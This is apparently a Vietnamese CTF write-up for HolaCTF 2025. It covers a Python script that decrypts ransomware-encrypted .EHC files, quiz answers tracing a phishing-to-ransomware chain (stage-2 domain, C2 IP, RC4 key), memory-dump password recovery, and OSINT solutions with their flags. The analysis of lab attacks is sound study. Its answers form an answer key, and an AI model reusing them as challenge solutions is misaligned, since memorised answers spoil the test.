if not targets:
print("[-] Không tìm thấy file .EHC nào. Đặt các file mã hoá vào thư mục rồi chạy lại.")
sys.exit(0)
print(f"[+] Tìm thấy {len(targets)} file .EHC. Bắt đầu giải vào: {OUT_ROOT.resolve()}")
total_flag_hits = []
for src in targets:
# Đoán đuôi trước để đặt tên
plain_head = peek_plain_head(src, 4096)
ext = guess_ext(plain_head)
rel = src.relative_to(root)
base_name = src.stem # bỏ .EHC
dst = OUT_ROOT / rel.parent / f"{base_name}{ext}"
md5, hits = xor_stream_file(src, dst)
hit_note = ""
if "flag" in base_name.lower():
hit_note = " <-- possible FLAG by name"
if hits:
hit_note = f" <-- FLAG CONTENT FOUND: {hits[0]}"
total_flag_hits.extend(hits)
print(f"[OK] {src} -> {dst.name} (md5:{md5}){hit_note}")
if total_flag_hits:
# Nếu thấy nhiều, in cái đầu
print("\n[!] Phát hiện FLAG trong nội dung:")
for s in total_flag_hits[:5]:
s_clean = s.strip()
md5_str = hashlib.md5(s_clean.encode()).hexdigest()
print(f" {s_clean} | MD5(content)={md5_str}")
print("\n=> Lấy MD5(content) ở trên nộp Q9.")
else:
print("\n[i] Không tự động thấy 'HOLACTF{...}'. Nếu bạn biết file 'flag.txt.EHC', mở bản giải ở decrypted_out/ tương ứng rồi băm MD5 nội dung.")
if __name__ == "__main__":
main()
```




> `0e2c58ea5f51647dc2f81a03b43b6580`
```bash!
___ __ __ ___ ___ __ __ __ ___ ___
| | |__ | / ` / \ |\/| |__ | / \ |__| / \ | /\ / ` | |__
|/\| |___ |___ \__, \__/ | | |___ | \__/ | | \__/ |___ /~~\ \__, | |
=== FPTU Ethical Hackers Club ===
Q1: The user opened a software that contained malicious content from the attacker. What was the name of the software?
Ex: Skype
Ans: Thunderbird
Correct!
Q2: What is the name of the file that makes user fall into the attacker's trap?
Ex: example.js
Ans: diemchuan.html
Correct!
Q3: What MITRE ATT&CK techniques did the attacker use?
Ex: T1234.001
Ans: T1566.001
Correct!
Q4: What is the domain of the website where the malicious file for stage 2 is located?
Ex: mediafire.com
Ans: sakamoto.moe
Correct!
Q5: Digging into the malicious file, what was the original name of the encrypted file that was downloaded?
Ex: payload.enc
Ans: steam.enc
Correct!
Q6: What is the encryption algorithm and key to decrypt the encrypted payload? (Convert it to hex)
Ex: AES_0x1a,0x2b,0x3c,0x4d,...
Ans: RC4_0x3a,0x2d,0x1c,0x4d,0x5e,0x2f,0x7b,0x81,0x3d,0xab,0xbc,0xcd,0xde,0x2f,0xf0,0x01
Correct!
Q7: In stage 3, which C2 IP address is the user's network traffic transmit to?
Ex: 192.168.1.1
Ans: 192.168.244.129
Correct!
Q8: The attacker made a mistake, take advantage of it and tell us the name of files encrypted by attacker's ransomware in folder Videos ?
Ex: ehc.mp3
Ans: video.mp4
Correct!
Q9: What are the contents of the file flag.txt? (Convert the content of the flag.txt to md5 and submit)
Ex: 4a34decdd3494446ff0546364aa975b5
Ans: 0e2c58ea5f51647dc2f81a03b43b6580
Correct! Here is your flag:
HOLACTF{dung_8a0_G1O_c11Ck_vAo_Str4nG3_1lLE_nHe_4hUHu_7cf9548c805c}
```
---
### First step into forensics

Cú pháp `strings - grep` luôn hữu dụng với anh em 4n6, author để hint rất lớn này, với đề bài author cho, ta có:

Mình nhìn thấy 3 file này, và với việc file zip không có pass giải, mình tự dựng được flow điều tra trong đầu là ntn:
`pass cho file kdbx ở file dmp ~200mb => pass zip cho file zip dmp thứ 2 ở file kdbx => flag ở file dmp trong file zip`
Tuy nhiên thì với những file như này bản chất thì mình phải dùng windbg để tìm chỗ chứa pass, nhưng may mắn là author cho mình hint to rồi (strings-grep), vì vậy mình cứ thế ứng dụng vô:
Luẩn quẩn 1 vòng xung quanh grep `.kdbx` thì mình cũng tìm được:

> Pass kdbx: first_stage_of_this_chall
Tiếp tục mở file kdbx và tìm:

Ta được pass file zip và cuối cùng là strings grep với format flag thôi:

> Flag: HOLACTF{Oeocam_to_HolaCTF2025!!!!}
---
## OSINT
### EHC is my family

Bài cho ảnh clb chụp ở giải Digital Dragon, tổ chức ở Đà Nẵng, dễ dàng ta tìm kiếm được đó là trường nào:
> Flag: HOLACTF{truong_dai_hoc_cong_nghe_thong_tin_va_truyen_thong_viet_han}
---
### HolaCTF💕💕

Bài cho mình 1 ảnh từ giải HOLACTF 2023, tìm lại bài đăng của page clb ở fb, mình thấy được cmt mới nhất của author:

Ta có được `ohepu://pbd.wysvtlyox.cqf/u/KTylGddAuMn/`, mình dùng Vigenere decode với key holactf (cái này mình đoán bừa ai ngờ trúng) có được:

> https://www.instagram.com/p/DFnlEkyTgBn/
> 

Để ý ở góc dưới bên phải có đường link hiện vài giây sau đó ẩn, nhìn kỹ thì nhận ra được đó là:
> https://anhshidou.github.io/
> 
Tuy nhiên thì web không tương tác được, kiểm tra mã nguồn:
```javascript!
<!DOCTYPE html>
<html>
<header>
<div class = "header">
<img src = "resources/thumb-1920-429845.png" alt = "image" width = "50%" height = "10%">
</div>
</header>
<head>
<title>Welcome</title>
<link rel="stylesheet" type="text/css" href="style.css">
<!-- Tôi đã để lại cái gì ở ctf.fumosquad-ehc.xyz? -->
</head>
<body>
<h1>Không có gì</h1>
<p><div class = label>Chao anh em, flag o day, chuc anh em thanh cong, hay tim dap an thong qua con web nay nhe (web sử dụng công nghệ HTML và CSS)</p></div>
<div class = "login">
<label for="username">Username:</label>
<input type="text" id="username" name="username" required><br>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required><br>
<label for="flag">Flag:</label>
<button type="submit">submit</button>
</div>
</body>
<footer>
<div class = "footer">
<img src = "resources/thumb-1920-523621.jpg" alt = "image" width = "50%" height = "10%">
</div>
</footer>
</html>
```
Chú ý đến `Tôi đã để lại cái gì ở ctf.fumosquad-ehc.xyz?`, hỏi AI một hồi thì mình có được:


> Flag: HOLACTF{t01_d4_c0_g4ng_r4_d3_r0i}
---